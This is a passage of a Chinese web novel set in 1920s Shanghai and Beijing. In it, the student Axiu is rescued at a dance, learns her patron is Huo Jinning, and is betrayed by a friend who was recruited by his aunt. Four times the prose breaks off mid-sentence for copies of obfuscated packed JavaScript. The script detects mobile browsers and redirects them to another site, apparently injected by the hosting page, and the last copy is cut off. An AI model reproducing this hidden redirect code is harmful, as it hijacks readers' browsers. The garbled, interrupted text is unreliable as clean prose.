阿绣一惊,急忙转过身来,看着霍冬英笑意盈盈的走到她面前,娇嗔道: “你这孩子,叫你好几声了,想什么这么出神?” “没什么,七小姐。” “有人可告状到我面前了,说你冷若冰霜,拒人于千里外,是不是这样?” 阿绣诧异:“是谁说的?” “是我。” 一个年轻男子走了过来,似笑非笑的看向阿绣:“我约了你好几次,你可是一次都没回应我,真是叫人伤心。” 正是这段时间纠缠她的郑复央。 面对两人质问一般的视线,阿绣只能硬着头皮回答:“因为这段时间要考试,功课比较重......” “学业再忙也要适当放松一下,今晚不知有没有荣幸请方小姐跳一支舞。” 郑复央趁机伸出手向阿绣邀请。 阿绣求助的看向七小姐,希望她能替自己解围。 可霍冬英对她的祈求视而不见,只和颜悦色的鼓励她:“现在年轻的男女交往约会,是很正常的事,你不要辜负郑公子的一片好意。快去吧,我不是让人教过你跳舞吗?” 阿绣左右为难,只能深吸一口气,试探着伸出手。 郑复央一把握住她的手,将她拉了过去,笑道: “我们开始吧!” 这种优雅轻缓的交谊舞,是近几年才从西洋传进中国的,很快受到了上流社会年轻小姐少爷的喜爱,风靡开来。男男女女在优美的乐声下,牵着手,扶着腰,视线纠缠,呼吸相闻,暧昧情愫欲语还休。 阿绣没时间体会这样罗曼蒂克的氛围,她忙着一边全神贯注的踩准节奏,一边还要不停的躲着郑复央在她腰间乱动的手。 而这人还在她耳边不怀好意的低声道:“放轻松,跳舞很有趣的。阿绣,其实上一次茶会上我就对你一见钟情了,要不要考虑做我的女朋友?” 直觉腰间那只手在渐渐下移,阿绣情急之下,一个步伐跳错,高跟鞋重重的踩在了郑复央的皮鞋上。 郑复央一声呼痛,迅速松开了扶着阿绣的手,阿绣顿时失去平衡,身子向后仰去—— 意料之中的倒地并没有来临,她靠在了一个温热的怀抱里,手臂被轻轻拖住,然后带着她顺势转身,让她毫无预兆的撞进一双笑意温柔疏离的漆黑双眸中。 是霍锦宁! 刹那间她的心跳停摆了一瞬,分不清是梦是真。 郑复央后退了几步,尴尬道:“霍、霍二少......” 霍锦宁冷漠的看了他一眼,什么也没有说,牵起阿绣的手放在手心,另一只手虚搭在她腰间,绅士礼貌,带着她随着音乐继续跳了起来。 此时此刻,他出现在这里,翩翩公子,英俊倜傥,觥筹交错,衣香鬓影,是如此自然合理。就好像他一直都在这里,千年百年,前世今生,恰恰好她跌进他怀里,不早不晚。 “少爷......” 她轻轻唤了一声,就再也说不出话,唯恐多说什么打碎了这个来之不易的美梦。 霍锦宁低声问:“跳舞学了多久?” “五天。” “那还不错,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424897|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过可能还要再多练习一下。” 他轻轻一笑,温热的气息就喷薄在她面前,她脸上一热,连忙低下头看向脚下,生怕再一次跳错了。 “抬头。” 他的声音不容置疑,“你应该学会看着对方的双眼说话,抬起头来,自信一点,你可以做的很好。” 阿绣的心砰砰跳着,她鼓起勇气,抬起头来。 他比她高了一个头,她只能仰视着他,而他亦垂眸回望。 四目相接,她在他的双眼里,仿佛看见浩瀚星辰,辽阔大海,还有一汪小小的自己。 他们脚下所到之处,周围的一切似乎都渐渐消失了,红男绿女,美酒佳肴,桌椅板凳,甚至灯光烛火。 空旷漆黑的大厅里,只有月光从玻璃窗外柔美的洒进来,蕾丝窗纱被夜风吹得轻飞曼舞,耳边飘来钢琴手轻柔舒缓的弹奏,那是德国古典主义音乐里一首并不起眼的作品《致爱丽丝》,岁月背后,音符之间,掩藏着一段不为人知的秘密...... 阿绣痴痴的望着霍锦宁,她知道这是一个会即刻醒来的梦境,但至少这一瞬,她与他翩翩起舞,近在咫尺,呼吸相闻。 一曲终了,他们正好跳到了舞池的边缘,落地窗旁,他适时松开了她的手。 她心中失重的一颤,如同从云端跌下凡尘的落差感。 迅速的整理了心情,她悄悄深呼吸几下,开口问:“少爷,您怎么会在这里?” 霍锦宁垂眸不着痕迹的打量她今夜的装扮,酒红色泡泡袖的丝绸长裙,领口袖口镶嵌着白色蕾丝边,乌黑的长发侧挽在耳边,戴了耀眼的钻石发夹和项链,唇上涂了浓重的口红,遮盖住了原本的粉嫩水润。 算得上被精心打扮,不是不美,只是不适合她,好像是偷穿的妈妈衣服的小女孩,掩盖不住一身青涩稚嫩。 他慢条斯理不答反道:“这似乎该是我来问你的。” 阿绣不由心里一慌,她急急忙忙的解释:“是七小姐让我来的,我没有做出格的事,我本来不想和那个郑公子跳舞的......” 她眼眶一红,鼻子微酸,她不知道自己在慌些什么,可她就是不想让他觉得,她和赵婕妤,和霍冬英的干女儿们是一样的...... 霍锦宁无声叹了口气, “我早该料到的。” 萧子显病逝,他于情于理该回北京,一耽搁数月。这番回来,偶然想起阿绣,想去看看她过得怎样,到了公寓才发现大半夜她居然不在家。 丁伯正急得团团转,看见他喜不自胜,连忙告诉他七小姐派人带走了阿绣,还把这几个月来霍冬英所作所为一一向他叙述了一遍。 关于这个七姑姑喜欢玩的那些小把戏,他略有耳闻,唯恐阿绣傻乎乎的吃了亏,这才赶过来。 幸好并没有太晚。 霍锦宁掏出手帕递给阿绣,阿绣不敢接,他无奈,拉起她的手,把手帕塞进她的手里。 “擦一擦眼泪,也擦一擦口红。等我一下,一会儿送你离开。” 他抬头叫了一声:“谢景澜!” 叫谢景澜的年轻男人正和一个金发碧眼的法国女郎调情,闻言立马撇下佳人走了过来, “二哥,人找到了?” 霍锦宁点头,向他嘱咐:“照顾一下她。” “没问题,我最擅长照顾女孩子了!” 谢景澜笑得满面桃花,和阿绣打招呼: “你好呀!我叫谢景澜,你可以叫我谢哥哥,景哥哥,谢景澜哥哥,我都没问题啊!” 35. 第 35 章 霍冬英斜倚在紫檀木的贵妃椅上,不紧不慢的拿小银匙搅拌着杯子里的咖啡。她亲眼看着霍锦宁如何为阿绣解围,如何带着她跳舞,此时霍锦宁向她走了过来,她也毫不意外。 “七姑姑。” 霍锦宁在她面前坐下,表情冷淡。 霍冬英玩味一笑:“好久不见,霍小二你怎么一身火/药味?北上奔丧,难不成家产分得不愉快?” 霍锦宁并不在意她的冷嘲热讽,只道:“我似乎告诫过你别去动她。” “动?怎么个动法?你贸贸然在学校塞人,我总要亲自看一看是什么样个女孩子叫你上心,你不感谢我提点照顾她,还要来质问我,真是枉费我一片好心。” 霍锦宁安排阿绣上学,她全无基础,一般学校都不愿意收,霍老夫人名下的德英女子自然是首选。可霍冬英是学校董事,他一安排,她必然知道,他特意警告过她,没想到她充耳不闻,趁他不在上海时做出这么多好事来。 “你的好心是什么,你自己清楚。” 霍锦宁淡淡笑了一下,缓慢道:“你这个样子,和长三堂子里的鸨母有什么区别?” 霍冬英脸色狠狠一变,骨瓷咖啡杯被重重搁在茶几上,迸溅出了一大半,淅淅沥沥的从桌面淌到地板上。 这些年来,她靠着死去的丈夫和父亲的遗产,过着挥金如土的奢侈生活,但却越发的空虚寂寞起来,再多的金钱买不来消逝的青春,买不来男人的真心。 她精挑细选的不少女孩子,资助她们读书,培养她们交际,让她们的眼睛被穷奢极欲迷住,让她们变成一朵朵纤弱美丽的菟丝花。然后利用她们作为勾引男人的工具,自己也收服了不少裙下之臣,这些年轻的鲜活的男孩子女孩子都围绕着她,让她感觉到自己还不曾老去,魅力如昔。 霍冬英冷笑:“我是鸨母,那是因为有人上赶着你情我愿的嫖。怎么,你心疼了?还是害怕了?你宝贝一样偷偷摸摸养起来的清白小姑娘,怕被我染指得面目全非了?” “你这样喜欢祸害别人而得到快感的癖好,是一种心理疾病,我认识一位德国出名的心理医生,你要不要考虑去看一看?” “别拐弯抹角的骂我!”霍冬英脸色难看,精致的妆容扭曲着,双唇一张一合,鲜红仿佛要滴下血来: “男人都是一个德行,三心二意,肮脏下流,得到手了就不珍惜了!” 霍锦宁微微一愣,皱眉道:“你误会了。” 霍冬英皮笑肉不笑:“你得意她什么?不就是那份纯洁吗?不用我出手,过不了多久,她就被会这个浮华欲望的城市迷住双眼,她就会被这荒诞残酷的世道玷污了清白,全是这样,这是世上,你、我、她,全是这样的,谁也逃不掉。我看到时候你还能不能这样冠冕堂皇的来质问我?” 霍锦宁收敛表情,再没什么和她说下去的心情了。 他深深注视了她片刻,从怀里拿出名片夹,取出德国医生的名片放在了桌上,起身道: “记得提前预约。” . 看着霍锦宁远去的背影,霍冬英漫不经心用手指夹起那张名片,放在眼前,并没有仔细看上面的字,她只是一点一点把它在手心攥紧,直到涂着鲜红豆蔻的指甲死死嵌进肉里。 引诱无知少女的这种事情虽然繁琐,却并不很难,它只需要一个条件,那就是找到一个贫穷貌美、并且有一点点虚荣心的女孩子,然后带她见识金钱的魅力。而之后所需要的风流多情花花少爷,在这个交际场上遍地都是。 而任何一个普通人,都会有这么一点点虚荣心。贫穷貌美,也许就是这世界强加给女人的一种原罪。 就像曾经跟着做妓/女的母亲长大,还没有被认回霍家的她一样。 人性的考验总是屡试不爽,没有例外,即便有个背后曲折坎坷经历的万一,不能未卜先知的人预料不到,也是情有可原。 可霍冬英也许做错了一点,每个贫穷貌美的小姑娘,都可能会掉进她用华服珠宝织就的陷阱里。但如果这个小姑娘在十四岁那年,遇见过一个世界上最好最好的男人,他让她单调的日子开出锦绣桃花,让她平凡的生活生出波澜壮阔,那么日后万水千山,再也没有人能入她的眼。 曾经沧海难为水,除却巫山不是云,莫过如此。 . 霍锦宁重新回来时,阿绣已经被谢景澜花言巧语哄得不再哭了,但看起来也是很不想再听下去了。 谢景澜是谢玄康的堂弟,刚从南洋回来,一肚子花花肠子,但为人圆滑世故,办起事来还算靠谱。霍锦宁现在身边这样需要年轻的人才。 “景澜,你去开车。” 谢景澜闻言顿时苦了脸,来的时候,整条街都没有位置,他们走了很远才停下车,这回又要走这么远去提车,真是倒霉。 “得,我去,谁让二哥现在赏我饭吃呢。” 谢景澜离开的背影十分萧瑟。 霍锦宁看了看还是低头不敢看他的阿绣,轻声道: “我没有怪你。” 阿绣闷闷的点头,她知道。 霍锦宁几不可查的叹了口气: “我只是不希望你受伤。” 霍冬英的话没有说错,他是有些后怕。 现在想想他确实是太不负责了,贸贸然把阿绣从平静的笙溪小镇带到纸醉金迷的大上海,自以为将她的衣食住行安排好,让她去读书,就足够了。可是不对,她身边有太多诱惑和危险了,自卑,排挤,差距感,羡慕嫉妒,虚荣心,哪一样都可以轻易的毁掉一个不谙世事的孩子。 好像把一张白纸丢进染缸,指望她靠自己的抑制力出淤泥而不染,是不现实的。 金钱的力量有多么可怕,叫人生叫人死,叫人面目全非,没有人比他更清楚了。 “少爷。” 阿绣轻声道:“如果我说,我不羡慕呢?我不喜欢住在空荡的大房子里,我不喜欢那些华丽的珠宝礼服,我不喜欢出入那些声色犬马的场合。如果我这么说,您相信吗?” 她抬头,努力的直视他的双眼,认认真真的一字一顿说着,有丝孩子气的执拗。 霍锦宁却忍不住问她: “为什么?” “因为,我小时候......” 阿绣沉默了一会儿,好像咽下了什么到嘴边的话,皱眉难受了一会儿,终于慢慢说: “我小时候最喜欢去家附近的茶楼下面,偷偷听说书的伯伯讲评书,他讲古往今来,千秋万代,帝王将相,唐宋元明,所有的荣华富贵都是过眼云烟。老师也告诉过我们,享乐只是一时的,财富生不带来死不带去,最后千金散尽,剩下的只有你这个赤条条的人而已。” “少爷,阿绣只是想做一个更好的阿绣,不想变成什么奇怪的别人。” 霍锦宁沉默了一会儿,抬手轻轻摸了摸她的头,眉目温柔: “好阿绣,我们走吧。” 不曾历经世事的少年,说起豪言壮志总是信口拈来,可他们绝大部分都会被现实打败,头破血流。他不知道阿绣究竟会长成什么样的人,但是一个人能在十几岁时说出这番话,已经比旁人站得高了。 阿绣愉快的点头,然后她突然想起了什么: “等一等,我还有一个朋友......” 她抬头扫视了一下会场,没有发现钱亚萍和史密斯先生,他们两个不知道去哪里了。 她有些惊慌的看向霍锦宁:“她不见了!” 霍锦宁安慰她:“别着急,她在这里不会有危险,外面花园里也有不少人,也许她出去透气了。” 阿绣担心钱亚萍,央求霍锦宁和她一同出去找一找。 两个人从笙歌燕舞的大厅来到了灯火幽暗的后花园,周遭一下子静谧了下来。花园里植物茂密,布景优美,时不时有一对对男女凑在一起亲热缠绵。 阿绣很尴尬,但更多的是焦急。 晚风吹过,带来一阵阵浓郁的花香,也带来了一些若有若无奇怪的声音,像是哭泣,又像是呜咽。 鬼使神差的,阿绣顺着声音的方向走过去,绕过几棵高大的海棠树,茂盛的枝叶间,她看见了一男一女前后交叠的两个人,他们在做着那件事…… 女人是钱亚萍,男人是史密斯先生。 阿绣如坠冰窖,她的双脚仿佛被钉在了地上,再也迈不动一步路。 一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424898|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温热的手从后面捂住了她的嘴,半抱半拖把她拉走了。 阿绣像一只软软的布娃娃,被霍锦宁拉着,走出了这座富丽堂皇却漆黑不堪的庄园。 霍锦宁为了迁就她,故意放慢了脚步。两个人并肩在马路上走着,街边空无人影,只有昏黄的路灯,和停在街边排着长队的豪车。 夜风吹来,凉意阵阵,阿绣不由自主的哆嗦了一下,抱住了自己裸露在外的手臂。 霍锦宁将西装外套脱下来,搭在了她的肩上。 熟悉的气息瞬间把她包裹住,阿绣恍惚回过神来,她抬头看向霍锦宁,眼中慢慢聚起湿润的雾气: “少爷,我......” 她现在脑子里一片乱哄哄的,她想起钱亚萍破旧的家,想起她家院子里晾着的一排排旧衣服,想起她被父亲打得高高肿起的左脸,想起她提起舞会时渴望羡慕的深情...... 她是自愿的。 也许,这才是阿绣最伤心的地方。 霍锦宁拿过她手里一直紧攥着的手帕,轻轻擦去她眼角的湿意,问道: “你和她很要好?” “阿萍是我来到上海的第一个朋友。” 霍锦宁一笑: “今天发生的事,我想是她自己的选择,你不用为她难过。人生里你会遇见很多朋友的,如果你不接受,那么就别再和她做朋友,如果你能接受,那么就当做什么也没发生过。但是,无论如何,你要明白,你们不是同一类人。” “嗯。” 阿绣轻轻的点头,她喃喃道:“其实,我明白她为什么这样做,可是,可是,就不能有别的法子吗?” “人只要坚持自己觉得正确的选择就够了。” 阿绣心里默默念着他的话,是啊,她只要坚持做自己觉得正确的事就够了,她不能要求钱亚萍做和自己一样的选择。 霍锦宁见她在脸色渐渐好转,不再伤心,不由松了口气。 萧瑜从小到大,除了剪辫子那次几乎再没哭过,他是真的对女孩子的眼泪没有办法。 “以后不要再见我姑姑了。” 阿绣一愣,有些为难道: “可是,是七小姐资助我上学,我不能......” “不是她,资助你的人是我。” 阿绣抬头定定看着霍锦宁的神色,发现他并不是在说假话,一时间有些无措, “不是说是七小姐,你怎么......” 你怎么不早告诉我呀? 可是仔细一想想,又是完全情理之中的事情。是了,七小姐对她本来素未谋面,怎么会突然莫名其妙资助一个字都认不全的小姑娘读书?这世上除了霍少爷之外,再也没人会对她这样好了。 这一刻,她心里所有的郁结好像全部都不翼而飞了。 霍锦宁叹了口气, “除了你之外,我也陆续资助了其他的学生,你是其中年龄最小的,也是唯一的女孩子。起先推说是我姑姑,是怕你觉得不敢接受,也怕风言风语对你不好,没想到反而生出这些波折来。” 在笙溪镇时,一开始,他有心帮她,却并不想搅乱她无忧无虑的生活。后来情势所迫,带她来到上海,他可以安排好她的起居,却不想和她有太多牵扯。 他怜惜她,心疼她,想要保护她,更多的,是对着一个天真质朴的孩子,甚至紧紧是为了她眼底那份清澈纯真,并没有别的想法。既然如此,就该避嫌,就该疏远,免得伤了她,也害了她。 现在看来,人与人的牵绊一旦生起,并不是想斩断就能斩断的,也不是置之不理就能高枕无忧的。既然无法忽视,那么就不能任凭无头绪的羁绊生根发芽,即便只是怜惜心疼,也该有因有果,有始有终。 阿绣并不知道霍锦宁心中的无奈与无力,她只是沉浸在自己是被他资助的雀跃中,那她一定要更加的努力学习来回报少爷才成。 然而这世上的美梦,居然还可以更甜一些。 她听见霍锦宁对她说: “你安心上学,其余的不用考虑。我有空会抽时间来看你,你有事也可以来找我,遇见想不通的事,不要憋在心里,也许我可以替你解决。” 36. 第 36 章 “不不,不成,这如何使得?” 梁瑾忙不迭地的推拒,求助的看向萧瑜。 自从上一次在陶然亭与燕大“音韵社”的师生们相识,两厢走动,梁瑾经常被邀请去参加他们的社团聚会,他也欣然前往,却并不拿腔作势,只秉着虚心好学之心和他们一同研究。 周光伟虽然对那一字之争仍存疑惑,但对梁瑾本人却是钦佩有加,常常与他探讨戏曲名段。一来二去,萧瑜梁瑾和周光伟夫妇越来越熟识,竟成了至交好友。 自从知晓萧瑜是萧家二小姐,霍家少奶奶之后,二人对她和梁瑾的关系也有疑虑,不过如今大把的进步年轻人都实行自由恋爱,反抗包办婚姻,也就见怪不怪了。 况且萧瑜只是笑言,我与云老板是知己。 这日,周光伟夫妇在八仙楼请梁瑾萧瑜吃饭,却是提了一件意外之事:邀请梁瑾去燕大戏曲课上讲课。 周光伟兴高采烈道:“云天,这可是极好的机会啊,等闲之人可入不了徐教授的眼。我每次找他请教都要被他一顿痛骂,他那火爆脾气,不像唱戏的,倒像个习武的!” 原来燕京大学自民国五年就已正式开设戏曲课程,请来戏曲理论研究大家,时任东南大学教授的徐鹤先生前来讲课。这音韵社是在校长的支持下建立起来,学校拨专款进行活动,指导老师就是这位徐鹤教授。然而因为人数过多、科目繁多,徐鹤教授一人应接不暇,一直想聘请一位专攻旦角的助教。 那日在陶然亭,徐鹤教授有事未到场,后来听学生说起,又与梁瑾几次接触,很欣赏他,于是便托周光伟夫妇来相请。 对此,梁瑾始料未及,惶恐推拒。 他自幼没正经念过书,又身为戏子,难免对读书人有种敬畏之心,现在居然叫他去大学课堂教课,他实在是不敢当。 萧瑜见他左右为难,就笑着开口道:“能得徐鹤教授垂青,实在是万分荣幸。只是周哥兰姐今天提起的太突然了点,云老板没有准备,你们让他回去想一想再说如何?” 周光伟和李兆兰对视一下,周光伟还忍不住想再劝几句,被李兆兰拉住了,她笑道: “是我们唐突了,徐教授是真的十分欣赏云老板,希望云老板回去能好好考虑考虑,再给我们答复。” 回去的路上,梁瑾还是老想着这件事,心神不宁,不停的问萧瑜: “你说他们真叫我去讲课?给大学生?我如何能行?徐鹤教授是夸过我唱腔尚佳,可我以为只是场面话,没想到他要让我去做助教,这真的不成......” 这位台上面对掌声如雷洒钱如雨面不改色的云老板,此时却不自信了起来。可他嘴上说着不成,神色中却是隐隐欣喜的。 萧瑜看穿他内心所想,有些好笑,劝他道: “这是好事一桩,十分难得。如今戏曲能从戏楼里走出来,走进校园,是个极好的开端,就像兰姐说的,新一代的知识分子能够改变思想,认为戏曲是艺术而不是消遣,往后这梨园行当的地位也能越来越高,你不愿意亲手来促成这件事吗?” 梁瑾亦是认可,很有些动容,但终究下不定决心,说再考虑考虑。 于是,这一夜辗转反侧到天明。 . 两人谁也不曾料到,徐鹤教授竟然在第二日清晨,亲自登门拜访。 这位身兼数校老师的戏曲研究教授年岁并不高,只四十上下,留着小平头,八字胡,一身黑灰马褂长袍。他连个学生也没带,大早上的就来燕子胡同敲门。 梁瑾见到来人,急忙请进屋里上座。 “徐先生,您怎么亲自来了?” 徐鹤性情豪爽,快人快语,直接道:“我不亲自来,你怕不是还得犹豫好些天?” 梁瑾哭笑不得,“先生,您确实是为难我,我哪里有资格?” “怎么叫为难?你在台上表演十多年,经验丰富,理论扎实,他们那帮小鬼连你的皮毛都赶不上,你有什么怕的?” 梁瑾沉吟不语,萧瑜适时为徐鹤倒了一杯清茶,笑道:“久仰先生大名,今日一见果然名不虚传。我只是想问一问先生,若想找人助教,京城名旦,先生找谁不成,缘何对云老板青睐有加?” 萧瑜并非客套,她确实听说过此人,徐鹤先生是苏州人士,度曲谱曲皆极为精通,对戏曲史有很深的研究,东南大学以研究戏曲闻名的诸位先生大都是徐鹤的门下后学。当年燕大校长在书摊上被他一本论昆曲的书所折服,不远千里从金陵把他请来北京教学,他是当世将戏曲带入校园课堂的第一人。 徐鹤笑道:“京城名旦确实都与我相交,才貌双全的也是不少,可品行作风对我脾气的却不多了,我欣赏梁瑾的身段唱腔,也欣赏他执拗纯粹的性子,不该就此埋没了呀。” 梁瑾有些赧然:“徐先生过誉了。” “好了,我这人也来了,茶也喝了,你去不去倒是给个准话,我下礼拜旦角儿的课可是都安排好了!” 话说到这份儿上,梁瑾无法再推脱,索性鞠了一躬:“那晚辈就恭敬不如从命了!” “好好好!你且准备准备,下礼拜要讲《西厢记》,我这就回去找学生发宣传单去!” 徐鹤哈哈大笑,竟是又风风火火的走了。 梁瑾送了徐鹤出门,回来时还犹自不可置信,进屋见萧瑜在优哉游哉的喝茶,便问她: “你说,我真的要去大学堂里教课了?” 萧瑜噗嗤一乐,慢条斯理道: “如今电影明星,戏曲名角都时兴请个经理人打点业务,赶明也给你请一个,免得次次还得我出面替你说话。” ...... 舞会过后的礼拜一,钱亚萍没有去上学,第二天也是,第三天,第四天......她依旧没有踪影,老师说她请了病假。 阿绣去她家里找过她,钱父不在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿绣上前一把抓住她的手哀求道:“阿萍,我求求你不要这样,那个史密斯先生有妻子的,我听说那些洋人不可能娶一个中国女孩,他甚至不会跟你在一起太长时间,过段日子他就会抛弃你的,到时候你怎么办?我求求你,把这些东西还给他,不要再和他来往了好不好?” “你什么也不懂?!” 钱亚萍狠狠的甩开了她的手,恨恨道:“我再也不要过以前那种日子了,我再也不想面对那样的爹娘了,我要过上流社会的体面生活!我什么也没有,只有我的这张脸蛋,和这个年轻的身体!他抛弃了我,我可以去找下一个男人,总是有人愿意给我优越的生活,只需要我付出一点点小小的代价,我为什么要拒绝?!” 阿绣也忍无可忍的高声道:“那种生活到底有什么好?况且你努力读书一样也可以过上好日子啊!现在女孩子家也可以出来工作,你为什么不在将来靠自己养活自己?” “你有什么资格这样说我?如果不是靠着霍二少爷,你方阿绣又算什么东西?” 阿绣一愣,全身血液在这一刻都凝固了,她结结巴巴的问:“你为什么知道?” 她没有告诉过任何人她和霍锦宁的关系,而且霍锦宁资助她这件事,她也是不久前才知道的。 “因为从一开始就是七小姐让我接近你的,奖励是那场舞会的入场券。” 钱亚萍轻描淡写的吐出那个最残忍的答案,她笑道: “阿绣,你这么蠢,这么土,你以为真的会有人愿意和你做朋友吗?” 37. 第 37 章 六月的天,娃娃的脸,说变就变。 屋外阴云密布,大雨倾盆,小福园别墅里的气氛却十分的欢快。 七八个年轻人聚在客厅中或坐或立,洋烟抽了不少,咖啡喝了几壶,茶几上摆满了横七竖八的图纸地图,和一摞摞文件。 有人高兴道:“这回终于能开工了!” 谢景澜纠正:“是重新开工,要不是二哥力排众议,这条苏沪线耽搁了十年怎么能重新再启动?” 一人叹道:“霍老先生的遗愿,终是由霍二少亲力完成,他老人家在天有灵,想必十分安慰啊!” 屋内烟熏火燎,实在够呛,霍锦宁总是觉得肺部遭了重灾,他站在窗边,呼吸着冷风送进来的新鲜湿润的空气,淡淡道: “尚未完成,刚刚开始,接下来要面对的困难还有很多。” 年初他接手民强铁路股份有限公司,第一件事就是重新启动祖父当年未完工的苏沪铁路项目。在如今铁路管辖权四分五裂的中国,想修铁路,难上加难,他们面临的不只是资金技术方面的问题,还有无形的政治因素。 半年来,他多次往返香港,与英国人洽谈,订购车厢、铁轨,改良技术,聘请专家,如今准备工作就绪,苏沪线下个月即将重新开工。 如今客厅里的这些年轻人,都是他这一年多来聚集起来的志同道合的同路人,他们有的是他旧时老友,有的是留美时的同学,无不抱着一腔报国热忱来参与他的事业。 冯历程推了推眼镜道:“不错,天气、罢工、战争,这些不确定因素随时都会成为工程致命的打击,单就窄轨改普轨这一点,就要把原定预算翻上几个翻。” 有人叹道:“这也是没有办法的事,如今全国铁路标准都不一,这回要不改,以后改起来更费力气。” 谢景澜为这件事焦头烂额好几个月,见不得他们又烦恼起来,叫道:“既然改了,就哪有那么多顾虑,能修一段是一段!” 吕鲲鹏赞同:“正是,如今好歹是离中山先生十万英里的规划又近了一步。” 冯历程嗤笑了一声,拿起桌上一张全国铁路规划图,用两只手指捏着一角,十分嫌弃的模样: “你指的是这种三岁小孩儿都能连出来的网图?毫不考虑经济发展需要和地理环境情况,不切实际,异想天开!” 吕鲲鹏是中山先生的坚定追随者,不忿道:“冯历程,你不要以为你是耶鲁大学的就了不起,没有规划哪来执行?你以为人家像你一样天天光研究修铁路的事儿啊!” 冯历程哼了一声:“空谈误国!” 这人嘴欠众所皆知,连忙拉开两人,互相规劝,真要叫他们吵起来,今儿个饭也就别吃了。 “走走走,出去下馆子了!可别在这儿浪费口水。” “是啊,我早就饿死了,二哥一起啊!” 霍锦宁摇了摇头,只顺手拿起门边的伞, “我送你们上车。” . 目送客车子开远,回霍锦宁过头来,却发现黑铁栅栏大门旁的花坛边有一个小小的人影。 她蹲坐在红砖沿边,头埋在膝盖上,伸出纤细的手臂抱住自己,在倾盆大雨中被浇得七零八落,瑟瑟发抖。 霍锦宁稍稍辨认了一下,皱起眉,大步走了过去。 “阿绣?” 小姑娘颤了一下,慢慢从臂弯中抬起了头,她脸色苍白,发丝微乱,满脸是水,看不出是雨是泪。 “少爷,您说有想不通的事情可以来找你,阿绣现在真的想不通了…” 她的双眼一片模糊,看不清楚面前这人的神色,可她还是固执的抬着头,睁大眼睛,试图看清他。 头顶的大雨被雨伞阻隔,阴沉灰蒙蒙的天变成一抹清澈的蓝,好像雨后初晴,微雨初歇,驱散阴霾。 而后那片蓝色离她更近了,霍锦宁在她面前蹲了下来,伸手抹去了她脸颊挂着的水渍,叹息道: “进来吧。” 霍吉惊讶的看着霍锦宁出门送个人的功夫就又领回来一个人,而且还是一个被浇成落汤鸡一样的小姑娘。 “阿绣?” 但他很快镇定了下来,低声道:“我去放热水。” 霍锦宁看了一眼低头打了个喷嚏的阿绣,补充道: “再煮碗姜汤。” 阿绣亦步亦趋的被领到洗漱间里,关上门,脱下湿漉漉粘在身上的衣服,走进浴缸,把自己全身泡在热乎乎的水里,不由自主颤抖了一下。好像全身每一个毛孔都舒张开来,寒气四散,这才仿佛活了过来。 小福园别墅其实只离她住的公寓相隔了两条街,她没有来过,来找他,是一时冲动,但也确实是急切的想问他一些话,可是到了门口却又没有勇气敲门了。 她入学快一年了,她学到了好多好多东西,见过了好多好多世面,她觉得自己不再是一年前刚从笙溪镇初到上海的阿绣了。可她仍然有许多东西都不懂,知道的越多,不懂的就越多。 少爷是无所不知,无所不能的,她希望少爷能够告诉她答案。 无意识的双手抱膝,不知道在浴缸里坐了多久,门外传来轻轻的敲门声。 霍锦宁道:“阿绣,别泡太久,干净衣服放在门外了。” 阿绣应下,连忙从水里出来,擦干身子,轻手轻脚把门打开一条缝,把放在门口的衣服拿进来。 那是一套崭新的素净花色连衣裙,叠的整整齐齐,里面还包裹着袜子和贴身的小衣。 阿绣的脸腾的一下就红了起来,手捧着衣服不知所措,发呆了好一阵,才慢悠悠的穿起来。 她磨磨蹭蹭的从楼上走下来时,霍吉已经做好了饭菜,四菜一汤,热乎乎的摆在饭桌上,香气扑鼻,她的肚子不由自主咕噜噜叫了起来。 霍锦宁坐在桌边正在看文件,闻声抬头,若有若无的笑了笑。 阿绣脸一红,想开口解释什么,就听他道: “把姜汤喝了,然后吃饭。” 阿绣听话的点头,原地踌躇了一会儿,小声问:“少奶奶呢?” 霍锦宁也是愣了一下才反应过来她指的是谁,他和萧瑜一样对这个新称呼还不是很适应。 “她在北京,不住在这里。” 阿绣有些失落,却又不由偷偷松了口气,她对这位少奶奶很好奇,但又有点害怕见到她。 “那我穿的衣服…” “是刚刚叫人送来的。” 说到这里,霍锦宁也不禁无奈,他长大些后,身边就没有丫鬟伺候了,只有霍吉霍祥两兄弟,留学的时候不光没人照顾,自己更是要照顾萧瑜,几年下来也就习惯了。现在这边只有他和霍吉,并几个司机下人,还有隔几天来打扫的老妈子。 偶然来了一个小姑娘,哪怕只是待一会儿,也是各种不方便,连套临时给她换洗的衣服都没有。 阿绣老老实实坐了下来,大口大口喝掉了姜汤。 嗯,里面放了红糖,不算难喝。 相对无言吃过饭,两个人在沙发上坐下来,霍锦宁让霍吉泡了两杯咖啡端上来。 “试过吗?” 阿绣警惕着看着白瓷茶杯里的褐色液体,心有余悸。 “不不,我不喝了…” 况且一肚子红糖姜水,她也确实喝不下了。 霍锦宁笑了下, “说说吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 